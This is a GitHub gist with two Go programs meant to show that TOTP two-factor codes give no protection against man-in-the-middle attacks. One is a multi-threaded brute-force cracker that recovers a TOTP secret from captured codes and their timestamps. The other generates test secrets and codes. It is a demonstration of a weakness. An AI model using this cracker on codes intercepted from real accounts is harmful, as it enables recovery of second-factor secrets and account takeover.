Skip to content

Instantly share code, notes, and snippets.

@jckimble
Last active August 30, 2018 06:08
Show Gist options
  • Save jckimble/901262ec4e70142bf1feb53509abbf4a to your computer and use it in GitHub Desktop.
Save jckimble/901262ec4e70142bf1feb53509abbf4a to your computer and use it in GitHub Desktop.
Example of why totp is NOT a protection for mitm attacks
package main
import (
"flag"
"fmt"
"github.com/pquerna/otp"
"github.com/pquerna/otp/totp"
"os"
"strconv"
"strings"
"sync"
"time"
)
var wg sync.WaitGroup
func main() {
helpPtr := flag.Bool("help", false, "Show Usage")
lengthPtr := flag.Int("keyLength", 16, "Length of Key To Crack")
coresPtr := flag.Int("cores", 1, "Number of Cores to use")
flag.Parse()
if *helpPtr {
flag.Usage()
os.Exit(0)
}
crack := NewTOTPCrack(*lengthPtr)
for _, str := range flag.Args() {
if strings.Contains(str, ":") {
spl := strings.SplitN(str, ":", 2)
timestamp, err := strconv.Atoi(spl[0])
if err != nil {
fmt.Printf("Error: %s\n", err)
}
crack.AddCode(int64(timestamp), spl[1])
}
}
if len(crack.Captured) == 0 {
fmt.Println("You must supply atleast one totp code with timestamp. As many as possible will give better chances of not hitting collisions")
os.Exit(1)
}
fmt.Printf("Getting ready to crack a %d Length TOTP Key", *lengthPtr)
wg.Add(1)
go crack.GetKeys()
fmt.Println("Starting Cores")
cores := *coresPtr
for cores > 0 {
cores--
wg.Add(1)
go crack.Run()
}
wg.Wait()
fmt.Println("TOTPCrack Has Finished")
}
type TOTPCrack struct {
Captured map[int64]string
KeyLength int
Period uint
Digits otp.Digits
WorkQueue chan string
Done bool
}
func NewTOTPCrack(length int) *TOTPCrack {
tc := &TOTPCrack{
KeyLength: length,
Captured: map[int64]string{},
Period: 30,
}
tc.WorkQueue = make(chan string, 100)
return tc
}
func (t *TOTPCrack) AddCode(timestamp int64, code string) {
t.Digits = otp.Digits(len(code))
t.Captured[timestamp] = code
}
var CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
func (t *TOTPCrack) GetKeys() {
defer wg.Done()
r := []rune(CHARS)
pk := make([]rune, t.KeyLength)
x := make([]int, len(pk))
for {
p := pk[:len(x)]
for i, xi := range x {
p[i] = r[xi]
}
for i := len(x) - 1; i >= 0; i-- {
x[i]++
if x[i] < len(r) {
break
}
x[i] = 0
if i <= 0 {
x = x[0:0]
break
}
}
if len(string(p)) == 0 {
break
}
t.WorkQueue <- string(p)
}
t.Done = true
}
func (t *TOTPCrack) CheckKey(key string) {
for ts, c := range t.Captured {
if v, _ := totp.ValidateCustom(c, key, time.Unix(ts, 0), totp.ValidateOpts{
Period: t.Period,
Skew: 1,
Digits: t.Digits,
Algorithm: otp.AlgorithmSHA1,
}); !v {
return
}
}
fmt.Printf("Found Key: %s\n", key)
os.Exit(0)
}
func (t *TOTPCrack) Run() {
defer wg.Done()
for {
select {
case key, ok := <-t.WorkQueue:
t.CheckKey(key)
if !ok {
return
}
}
if t.Done && len(t.WorkQueue) == 0 {
return
}
}
}
package main
import (
"flag"
"fmt"
"github.com/pquerna/otp"
"github.com/pquerna/otp/totp"
"os"
"time"
)
func main() {
helpPtr := flag.Bool("help", false, "Show Usage")
lengthPtr := flag.Int("keyLength", 2, "Length of Key To Generate")
codesPtr := flag.Int("codes", 1, "Codes To Generate")
sizePtr := flag.Int("size", 6, "Code Size")
flag.Parse()
if *helpPtr {
flag.Usage()
os.Exit(0)
}
key, _ := totp.Generate(totp.GenerateOpts{
Issuer: "test",
AccountName: "test",
Period: 30,
SecretSize: uint(*lengthPtr),
Digits: otp.Digits(*sizePtr),
Algorithm: otp.AlgorithmSHA1,
})
secret := key.Secret()
fmt.Printf("Key: %s\n", secret)
x := 0
ti := time.Now()
for x < *codesPtr {
x++
code, _ := totp.GenerateCodeCustom(secret, ti, totp.ValidateOpts{
Period: 30,
Skew: 1,
Digits: otp.Digits(*sizePtr),
Algorithm: otp.AlgorithmSHA1,
})
fmt.Printf("Code: %d:%s\n", ti.Unix(), code)
ti = ti.Add(-1 * time.Hour)
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment